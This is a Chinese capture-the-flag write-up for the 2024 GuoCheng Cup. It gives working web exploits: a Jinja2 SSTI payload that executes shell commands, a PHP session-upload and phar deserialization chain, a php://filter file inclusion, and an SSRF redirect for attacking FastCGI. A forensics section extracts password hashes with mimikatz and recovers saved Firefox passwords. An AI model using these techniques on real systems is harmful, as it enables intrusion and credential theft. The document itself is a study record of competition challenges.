2024国城杯

1Easy Jelly

java欠着

image-20241210145520862

账号admin;密码123456;直接爆也行,验证码可以重复用

image-20241207162652658

存在文件包含,不知道flag在哪

info?file=/proc/self/cmdline发现题目app.py;然后去读取题目源码

源码的shell路由是个ssti攻击点

黑名单

1
2
3
4
5
6
7
8
blacklist_patterns = [r'.*length.*',r'.*count.*',r'.*[0-
9].*',r'.*\..*',r'.*soft.*']
if any(re.search(pattern, expression) for pattern in blacklist_patterns):
return Response('wafwafwaf')
try:
result =
jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"
request": request})
1
2
session_factory = SignedCookieSessionFactory('secret_key')
with Configurator(session_factory=session_factory) as config:

根据这里config被当作局部变量👆

1
{{cycler['__init__']['__globals__']['__builtins__']['exec']("getattr(request,'add_response_callback')(lambda request,response:setattr(response, 'text', getattr(getattr(__import__('os'),'popen')('whoami'),'read')()))",{'request':request})}}

image-20241210155457283

3n0ob_un4er

提示

1
2
3
4
5
Please take me back to the golden age of PHP😭.
不用管$SECRET,主要考虑copy()怎么利用
你可以创建一个session文件吗?
要怎么消除session文件中的垃圾字符呢?
执行/readflag读取flag

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
$SECRET = `/readsecret`;
include "waf.php";
class User {
public $role;
function __construct($role) {
$this->role = $role;
}
}
class Admin{
public $code;
function __construct($code) {
$this->code = $code;
}
function __destruct() {
echo "Admin can play everything!";
eval($this->code);
}
}
function game($filename) {
if (!empty($filename)) {
if (waf($filename) && @copy($filename , "/tmp/tmp.tmp")) {
echo "Well done!";
} else {
echo "Copy failed.";
}
} else {
echo "User can play copy game.";
}
}
function set_session(){
global $SECRET;
$data = serialize(new User("user"));
$hmac = hash_hmac("sha256", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac) || !hash_equals(hash_hmac("sha256", $data, $SECRET), $hmac)) {
die("hacker!");
}
$data = unserialize($data);
if ( $data->role === "user" ){
game($_GET["filename"]);
}else if($data->role === "admin"){
return new Admin($_GET['code']);
}
return 0;
}
if (!isset($_COOKIE["session-data"])) {
set_session();
highlight_file(__FILE__);
}else{
highlight_file(__FILE__);
check_session();
}

做法一

编码命令

1
2
cat test.phar | base64 -w0 | python3 -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
总的来说是把文件base64编码之后再转为utf-16
  • cat test.phar | base64 -w0 会将 test.phar 文件的内容转换为 Base64 编码,并输出为一个单行字符串。
  • python3 -c "...":这是一个在命令行中执行的 Python 代码。
  • import sys:导入 Python 的 sys 模块,通常用于访问标准输入、输出和错误。
  • sys.stdin.read():从标准输入(此处为通过管道传递的 Base64 编码内容)读取所有内容。
  • for i in sys.stdin.read():对于从标准输入读取的每个字符,执行以下操作:
    1. ord(i):获取字符 i 的 Unicode 编码值(即字符的整数表示)。
    2. hex(ord(i))[2:]:将字符的 Unicode 编码值转换为十六进制表示,并去掉 0x 前缀。
    3. =' + hex(ord(i))[2:] + '=00':为每个字符的十六进制值添加 = 前缀和 =00 后缀。
    4. ''.join([...]):将所有字符生成的字符串拼接在一起。
    5. upper():将整个拼接后的字符串转换为大写字母。

让gpt把他换成python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import base64

# 读取 test.phar 文件
with open('C:/Users/LEGION/Desktop/新建文件夹/02/src/python-code/ctf/竞争/test.phar', 'rb') as file:
file_data = file.read()

# Base64 编码
encoded_data = base64.b64encode(file_data).decode('utf-8')

# 转换为特定格式的十六进制字符串
result = ''.join([f"={hex(ord(char))[2:].upper()}=00" for char in encoded_data])

# 打印结果
print(result)

image-20241209170738871

编码结果加上14个A;凑够3的3次方的整数倍数;让编码结果没有等于号

1
=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=74=00=41=00=41=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=33=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=42=00=5A=00=47=00=31=00=70=00=62=00=69=00=49=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=52=00=6C=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=49=00=77=00=4F=00=69=00=4A=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=6F=00=4A=00=79=00=39=00=79=00=5A=00=57=00=46=00=6B=00=5A=00=6D=00=78=00=68=00=5A=00=79=00=63=00=70=00=4F=00=79=00=49=00=37=00=66=00=51=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=44=00=49=00=69=00=31=00=5A=00=6E=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=32=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=54=00=4A=00=78=00=55=00=70=00=50=00=31=00=42=00=38=00=55=00=72=00=53=00=4C=00=65=00=57=00=78=00=57=00=39=00=65=00=4A=00=34=00=35=00=62=00=51=00=2F=00=49=00=30=00=58=00=6A=00=67=00=2F=00=49=00=7A=00=57=00=4E=00=6E=00=59=00=73=008=00=6A=00=67=00=2F=00=49=00=7A=00=57=00=4E=00=6E=00=59=00=73=00=63=00=37=00=2B=00=5A=00=74=00=41=00=4D=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00AAAAAAAAAAAAAA

copy文件

1
?filename=php://filter/read=php://filter/read=convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/tmp/sess_litsasuk
1
Quoted-Printable 是一种编码方式,常用于在电子邮件等传输中将字节流编码为可打印的 ASCII 字符。如果数据包含了类似邮件正文的内容,它可能会用这种方式对数据进行编码。

读文件触发phar反序列化

1
?filename=phar:///tmp/tmp.tmp/test.txt

image-20241209160644456

做法二

垃圾数据处理这块方法不一样

垃圾处理

用<尖括号结合过滤器去掉后边的数据

1
php://filter/read=string.strip_tags/resource=sess_121

前面的垃圾数据可以结合 php 的 base64 解码松散性绕过(非 base64 字符忽视)。

发送数据

法一;html表单发送

1
2
3
4
5
6
7
8
9
10
<!doctype html>
<html>
<body>
<form action="http://http://125.70.243.22:31406/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>

法二;curl发送

1
curl http://127.0.0.1:8001/ -H 'Cookie: PHPSESSID=litsasuk' -F 'PHP_SESSION_UPLOAD_PROGRESS=[Your_data]'  -F 'file=@/etc/passwd' 

萌新版本地环境配置

1.在windows上创建phar对象失败

先看看php -i | findstr phar.readonly 是不是为Off;我显示的就是On,在php.ini里面修改它(去掉前面的;注释,然后ON换成Off);

1
这意味着 PHP 不再禁止创建或修改 Phar 文件。

找到php.ini文件,没有的话就从php.ini-developmentphp.ini-production 文件挑一个复制下来

image-20241209142047551

修改php.ini里面的内容

image-20241209142008914

image-20241209142455703

可见在左侧出现test.phar文件

2.服务器上session的配置

当你想在服务器上配置这个题目环境的时候,可能会遇到的一些问题,这里给出整理

image-20241209144712973

image-20241209144914319

  • session.auto_start
    • 自动初始化Session不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的
  • session.upload_progress.enabled = on
    • 默认开启这个选项,表示upload_progress功能正常使用
  • session.upload_progress.cleanup = on这个特别重要,条件竞争就是竞争这个
    • 默认开启这个选项,表示当文件上传结束后,php将会立即清空对应session文件中的内容
  • session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
    • 当一个文件上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时(这部分数据用户可控),上传进度可以在SESSION中获得。当PHP检测到这种POST请求时,它会在SESSION中添加一组数据(系统自动初始化session), 索引是session.upload_progress.prefix与session.upload_progress.name连接在一起的值。
  • session.upload_progress特性
    • PHPSESSID 是会话 ID:它与会话文件生成相关,通常是由 PHP 自动处理的。当浏览器第一次访问 PHP 页面时,会自动生成 PHPSESSID 并在服务器端创建会话文件(如 sess_123)。
    • session.upload_progress 特性:与文件上传进度相关。如果启用,该功能会将上传进度信息存储在会话中,存储的进度信息也会保存在会话文件中,但它不会影响 PHPSESSID 的生成。
    • 会话文件的生成:只要 PHP 启动了会话(即调用 session_start()),会话文件就会生成。如果启用了上传进度,相关数据会存储在该会话文件中。
  • session.save_path
    • session文件的上传目录
  • 1
1
find / -name "php.ini"

修改完之后重启一下

1
service nginx restart

看看改没改成功

1
php -i | grep session.upload_progress.cleanup

修改php.ini之后重启nginx服务和不好使

image-20241209150325010

但是phpinfo上面显示的是已经修改成功了image-20241209150449663

也是可以了;实在不行就重启服务器(但是重启服务器之前,要把/tmp和/var/tmp里面的需要的文件拷贝出来,重启服务器会清空)image-20241209150718799

image-20241209150744107

👆这个错了,没在加密的后边加上去ZZ 然后换成那个数据就行

本地尝试

1
=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=6F=00=41=00=41=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=79=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=42=00=5A=00=47=00=31=00=70=00=62=00=69=00=49=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=52=00=6C=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=31=00=4F=00=69=00=4A=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=6F=00=4A=00=32=00=78=00=7A=00=49=00=43=00=38=00=6E=00=4B=00=54=00=73=00=69=00=4F=00=33=00=30=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=52=00=4D=00=4E=00=57=00=5A=00=77=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=74=00=67=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=62=00=38=00=70=00=45=00=64=00=41=00=37=00=49=00=74=00=59=00=41=00=6A=00=35=00=37=00=31=00=78=00=30=00=65=00=51=00=4E=00=74=00=65=00=4C=00=52=00=2B=00=68=00=33=00=58=00=33=00=56=00=2F=00=50=00=53=00=34=00=64=00=4D=00=5A=00=42=00=78=00=69=00=61=00=32=00=77=00=44=00=41=00=41=00=41=00=41=00=52=00=30=00=4A=00=4E=00=51=00=67=00=3D=00=3D=00AAAAAAAAAAAAAAAAAAAAA

system(‘ls /‘);

image-20241209185335322

我再弄一下,上边的没加上去ZZ来抵消上边的数据

1
ZZVUZSVmQxQlVRWGRRVkZFd1VGUkJkMUJVVFRWUVZFRjNVRlJqTTFCVVFYZFFWRmw0VUZSQmQxQlVVVFJRVkVGM1VGUlJlRkJVUVhkUVZGa3pVRlJCZDFCVVZUUlFWRUYzVUZSTmVGQlVRWGRRVkUwMVVGUkJkMUJVVVRWUVZFRjNVRlJWZUZCVVFYZFFWRlV4VUZSQmQxQlVZelJRVkVGM1VGUlZNVkJVUVhkUVZGVTBVRlJCZDFCVVRYZFFWRUYzVUZSU1JsQlVRWGRRVkZWM1VGUkJkMUJVVlRCUVZFRjNVRlJWTWxCVVFYZFFWRkY1VUZSQmQxQlVVa0pRVkVGM1VGUlZNRkJVUVhkUVZGRXhVRlJCZDFCVVZUSlFWRUYzVUZSVmVsQlVRWGRRVkZKRFVGUkJkMUJVVVhwUVZFRjNVRlJhUTFCVVFYZFFWRTB6VUZSQmQxQlVVVFZRVkVGM1VGUlJNRkJVUVhkUVZFMDBVRlJCZDFCVVNrTlFWRUYzVUZSUk1GQlVRWGRRVkZWNFVGUkJkMUJVWTNkUVZFRjNVRlJhUTFCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSVmVGQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY1VUZSQmQxQlVVVEZRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNVVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSak1WQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVWVEJRVkVGM1VGUmtRbEJVUVhkUVZGcEhVRlJCZDFCVVRYaFFWRUYzVUZSU1IxQlVRWGRRVkZrMVVGUkJkMUJVVWtKUVZFRjNVRlJSZVZCVVFYZFFWRlpDVUZSQmQxQlVVVE5RVkVGM1VGUk5lRkJVUVhkUVZHTjNVRlJCZDFCVVdYbFFWRUYzVUZSWk5WQlVRWGRRVkZFMVVGUkJkMUJVVFRKUVZFRjNVRlJTUlZCVVFYZFFWRlV3VUZSQmQxQlVZM2RRVkVGM1VGUk5NMUJVUVhkUVZGbDZVRlJCZDFCVVpFSlFWRUYzVUZSYVIxQlVRWGRRVkUxM1VGUkJkMUJVVWtkUVZFRjNVRlJaTlZCVVFYZFFWRkpDVUZSQmQxQlVXa0pRVkVGM1VGUlplVkJVUVhkUVZFMTVVRlJCZDFCVVZYbFFWRUYzVUZSYVJGQlVRWGRRVkZFMVVGUkJkMUJVV2tKUVZFRjNVRlJqTUZCVVFYZFFWR1JDVUZSQmQxQlVVa2RRVkVGM1VGUmFRbEJVUVhkUVZGRXhVRlJCZDFCVVl6UlFWRUYzVUZSU1IxQlVRWGRRVkZrMVVGUkJkMUJVVWtKUVZFRjNVRlJhUkZCVVFYZFFWRlUxVUZSQmQxQlVUWGxRVkVGM1VGUlpORkJVUVhkUVZHTXlVRlJCZDFCVVVUVlFWRUYzVUZSUmVsQlVRWGRRVkZFMVVGUkJkMUJVWXpSUVZFRjNVRlJTUlZCVVFYZFFWRnBDVUZSQmQxQlVVa1ZRVkVGM1VGUlpOVkJVUVhkUVZGSkhVRlJCZDFCVVl6VlFWRUYzVUZSUk5WQlVRWGRRVkUwelVGUkJkMUJVV1RKUVZFRjNVRlJWZUZCVVFYZFFWRmt6VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYbFFWRUYzVUZSTmQxQlVRWGRRVkZaQ1VGUkJkMUJVVlRSUVZFRjNVRlJTUmxCVVFYZFFWRTEzVUZSQmQxQlVVa1JRVkVGM1VGUmFSbEJVUVhkUVZGVjVVRlJCZDFCVVRUQlFWRUYzVUZSWk1GQlVRWGRRVkZGNFVGUkJkMUJVVlhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGcEZVRlJCZDFCVVNrTlFWRUYzVUZSUk1sQlVRWGRRVkZrd1VGUkJkMUJVV2taUVZFRjNVRlJSZVZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSak5GQlVRWGRRVkVwRFVGUkJkMUJVV1RKUVZFRjNVRlJOTlZCVVFYZFFWRmsxVUZSQmQxQlVUWGxRVkVGM1VGUlJlRkJVUVhkUVZGVjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJORkJVUVhkUVZGVjVVRlJCZDFCVVdrUlFWRUYzVUZSWmVsQlVRWGRRVkUxNlVGUkJkMUJVVlhwUVZFRjNVRlJWTWxCVVFYZFFWRmt5VUZSQmQxQlVWWGRRVkVGM1VGUmFSMUJVUVhkUVZFMHhVRlJCZDFCVVdrVlFWRUYzVUZSUmVGQlVRWGRRVkdONlVGUkJkMUJVVFRCUVZFRjNVRlJaTWxCVVFYZFFWRmw1VUZSQmQxQlVWWGRRVkVGM1VGUlplRkJVUVhkUVZHTXdVRlJCZDFCVVVUVlFWRUYzVUZSU1JWQlVRWGRRVkZWNlVGUkJkMUJVV1RGUVZFRjNVRlJWTlZCVVFYZFFWRmswVUZSQmQxQlVXa05RVkVGM1VGUlJNVkJVUVhkUVZGVTFVRlJCZDFCVVVrZFFWRUYzVUZSUk1WQlVRWGRRVkZVeVVGUkJkMUJVWXpSUVZFRjNVRlJhUlZCVVFYZFFWRlV3VUZSQmQxQlVVa0pRVkVGM1VGUmFSVkJVUVhkUVZGVXpVRlJCZDFCVVZURlFWRUYzVUZSUk1WQlVRWGRRVkVwSFVGUkJkMUJVV2tKUVZFRjNVRlJSZUZCVVFYZFFWRlV3VUZSQmQxQlVXVEJRVkVGM1VGUk5kMUJVUVhkUVZFMTNVRlJCZDFCVVRUSlFWRUYzVUZSWk0xQlVRWGRRVkZKRlVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVVWGxRVkVGM1VGUlJORkJVUVhkUVZGVjRVRlJCZDFCVVdrTlFWRUYzVUZSTmVGQlVRWGRRVkZGNlVGUkJkMUZWUmtKUlZVWkNVVlZHUWxGVlJrSlJWVVpD

image-20241210171800920

如果要去除后边的数据

在base编码后的数据加上去<;然后加个过滤器

他有的时候不好使,多试试几遍就行了

如果要去掉后边的数据用再加个过滤器;然后文本内容后边加个<;但没必要

1
php://filter/read=string.strip_tags/resource=session

然后做就行了

4signal

image-20241209190208178

disearch扫出swp文件泄露,下载出来;admin.php还有个302

image-20241209190057270

一眼文件包含👇image-20241209190339497

考的是双url编码

image-20241209191027619

1
/guest.php?path=php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=admin.php

审计admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ch = curl_init();
初始化一个 cURL 会话。
curl_setopt($ch, CURLOPT_URL, $url);
作用:设置要请求的 URL。
curl_setopt($ch, CURLOPT_HEADER, 0);
设置是否输出响应头。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
设置是否跟随重定向。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
设置是否将响应返回为字符串。
$page_content = curl_exec($ch);
执行 cURL 请求
if ($page_content === false) {
$error_message = 'Failed to fetch the URL content';
}

登陆界面网页源代码有个StoredAccounts.php;读取获得管理员账号密码

登录之后根据admin.php的代码打302跳转(题目提示cgi?)

内网穿透NGROK

利用NGROK将本地网站发布为一个公开网站,注册,然后跟着命令走就行,出现这个页面就可以了

image-20241209205831628

开启http服务

1
2
3
4
5
6
7
8
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def indexRedirect():
redirectUrl = 'http://[IP]/shell.php'
return redirect(redirectUrl)
if __name__ == '__main__':
app.run('0.0.0.0', port=8080, debug=True)

image-20241209210816240

打fastcgi,这里直接用Gopherus工具来生成payload:

1

然后修改web页面为

image-20241209211931260

拿到shell

image-20241209212157169

image-20241209212436723

给提示了,应该是/root里面有flag

image-20241209212506593

什么是fastcgi

相关文章—–cgi和fastcgi

我简单描述以下就是

  • CGI(Common Gateway Interface)全称是“通用网关接口”,是一种让客户端(web浏览器)与Web服务器(nginx等)程序进行通信(数据传输)的协议。
  • FastCGI(Fast Common Gateway Interface)全称是“快速通用网关接口”是通用网关接口(CGI)的增强版本,由CGI发展改进而来,主要用来提高CGI程序性能,类似于CGI,FastCGI也是一种让交互程序与Web服务器通信的协议

在自己服务器phpinfo里面可以看到启用的是否为fastcgi

PHP-FPM(FastCGI Process Manager)

image-20241210134113254

image-20241210134741713

  • cgi.fix_pathinfo 设置为 On 可能会增加服务器受到某些类型攻击的风险;那么它可能会被恶意利用来执行非 PHP 文件作为 PHP 脚本,这通常被称为 FastCGI 攻击或 PHP 路径信息泄露漏洞。
  • 但这道题跟这个没关,直接打就行

misc

Just_F0r3n51C

提示

1
flag被分为4份藏在了这台计算机中,从哪入手呢?先从beginning开始吧(压缩包解压密码:Rca@(@b2&b-9^6de*32(A,附件MD5值为:0f3df40c8ec0599e2f88fdd5a81023f2)

1段

在桌面发现beginning.pcapng; 下载下来打开是OICQ(QQ)的流量包;里面有个图片

image-20241211101255588

放010上看到有块特殊的

image-20241211101911598

猜测加密的数据是oursecret隐写了(东坡的爆毒,但我还是下载了),用 D0g3xGC 解密得到hidden.txt

image-20241211103229762

1
2
3
ECB's key is
N11c3TrYY6666111
记得给我秋秋空间点赞

然后OICQ上边有qq号,进去

1
2
3
4
我差不多就是这种小猫咪,表面上单纯天真,实际上圆滑通透。你不可能算计得了本喵,因为从一开始你就被本喵布局了。本喵是棋手,而你只是棋子,若你违逆本喵,你会知道什么是残酷和黑暗。本喵从来不缺雷霆手段也不缺菩萨心肠,本喵心中有佛喵喵也有魔喵喵,但我把魔喵喵深深的封印起来了,只剩下佛喵喵了,我本想以菩萨喵喵心肠面对所有人,可是有些人非要我把心中的魔喵喵解除封印,那我想问问你们,当你们面对一个真正的魔喵喵现世,你们还镇的住吗?


5e19e708fa1a2c98d19b1a92ebe9c790d85d76d96a6f32ec81c59417595b73ad

image-20241211104119534

2段

查看环境变量,注册表下看,注册表在 C:\Windows\System32\config 目录下,查看 SYSTEM\CurrentControlSet001\Control\Session Manager\Environment 的键值对,发现 u_can_get_flag2_here

image-20241211104858751

hex开头是504B0304 是压缩包

image-20241211105057102

2.1段计算机注册时设置的用户名

注册表取证,注册表文件在 C:\Windows\System32\Config 目录下 第一个答案是注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion中 的 RegisteredOwner 的键值 D0g3xGC

image-20241211110111186

2.2当前操作系统的产品名称

跟删一个图片在一块

第二个答案是注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion中 的 ProductName 的键值 Windows_7_Ultimate

2.3计算机当前安装的 Mozilla Firefox 浏览器的版本号

第三个答案是注册表HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox中的CurrentVersion 的值 115.0

image-20241211110602568

故最终压缩包密码为 D0g3xGC_Windows_7_Ultimate_115.0 ,得到密文

1
#@~^HAAAAA==W^lLyPb/P@#@&4*.2{W!!x[mFC&|0AcAAA==^#~@ 

是vbe的格式,改下后缀拿到:https://master.ayra.ch/vbs/vbs.aspx,解密得到flag2

flag2 is
h4V3_f0und_7H3_

3段

自动分析出加密的东西

image-20241211111615229

进去那个目录有个压缩包,还有个另外的图片;

搜了一下CatWatermark,找到项目:https://github.com/Konano/CatWatermark,有加密和解密脚 本,根据解密脚本所需参数猜测zip中是原图,666就是其三个私钥参数,将其都提取出来,发现zip注释

1
2
3
1、计算机用户D0g3xGC登录时的密码(答案格式:a123456+)
2、账号D0g3xGC@qq.com登录otterctf网站时的密码(答案格式:PA55word)
最终压缩包密码格式:a123456+_PA55word

3.1用户登录密码

提取出(/Windows/System32/config)中的 SYSTEM 和 SAM 文件,再用mimikatz提 取哈希

1
备忘C:\Users\LEGION\Desktop\桌面\天下\误开\mimikatz-master\mimikatz
1
2
privilege::debug //进入特权模式
lsadump::sam /system:"E:\SYSTEM" /sam:"E:\SAM"

image-20241211120959884

拿hash值去解密;得到密码qwe123!@#

1
https://www.cmd5.com/

3.2登录otterctf网站时的密码

1
第二个是火狐的一个取证(结果发现貌似axiom能直接梭),要找到key4.db和login.json,可以在 C:\Users\D0g3xGA\AppData\Roaming\Mozilla\Firefox\Profiles\414u1hob.default-release 目录下找到,提取出来再用firewd解密即可

路径 C:\Users\D0g3xGA\AppData\Roaming\Mozilla\Firefox\Profiles\414u1hob.default-releaseMozilla Firefox 浏览器用户配置文件目录。下面是对该路径的详细解释:

路径解析

  • C:\Users\D0g3xGA\: 这是 Windows 系统中用户的个人文件夹,D0g3xGA 是当前用户的用户名。
  • AppData\Roaming\: AppData 是存储应用程序配置和数据的隐藏文件夹,其中 Roaming 文件夹包含了可以在网络中多个计算机间同步的配置文件和数据。通常,程序会将用户的配置文件存放在这里。
  • Mozilla\Firefox\Profiles\: 这个文件夹是 Firefox 浏览器的配置文件存储位置。每个用户的 Firefox 都有一个独立的配置文件,用于存储该用户的浏览数据、设置和插件等。
  • 414u1hob.default-release: 这是 Firefox 为用户创建的一个 配置文件夹,其中 414u1hob.default-release 是配置文件的唯一标识符(由 Firefox 自动生成的随机字符串)。default-release 表示这是用户的默认配置文件。

image-20241211123542439

用firepwd解出密码Y0u_f1Nd^_^m3_233

然后用CatWatermark弄出新图

python3 decode.py ../Desktop/667.png ../Desktop/666.png out.png 6 6 6

image-20241211124138838

4段

pyinstxtractor解压包里面python压的exe包,

找到enc_png.pyc文件,用在线pyc反编译网站反编译这个 pyc文件得到python代码

1
https://www.lddgo.net/string/pyc-compile-decompile

根据加密代码写出解密脚本,key已经给出了。让gpt写也行,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def xor_decrypt(data, key):
decrypted_data = bytearray()
for i in range(len(data)):
decrypted_data.append(data[i] ^ key[i % len(key)])
return decrypted_data

def read_file(file_path):
with open(file_path, 'rb') as f:
return f.read()

def write_file(file_path, data):
with open(file_path, 'wb') as f:
f.write(data)

def decrypt_file(input_file_path, output_file_path, key):
data = read_file(input_file_path)
decrypted_data = xor_decrypt(data, key)
write_file(output_file_path, decrypted_data)

if __name__ == '__main__':
key = b'GCcup_wAngwaNg!!' # 使用相同的密钥
encrypted_file = 'C:/Users/LEGION/Desktop/flag4_encrypted.bin' # 加密后的文件
decrypted_file = 'C:/Users/LEGION/Desktop/flag4_decrypted.png' # 解密后的输出文件
decrypt_file(encrypted_file, decrypted_file, key)

image-20241211125445077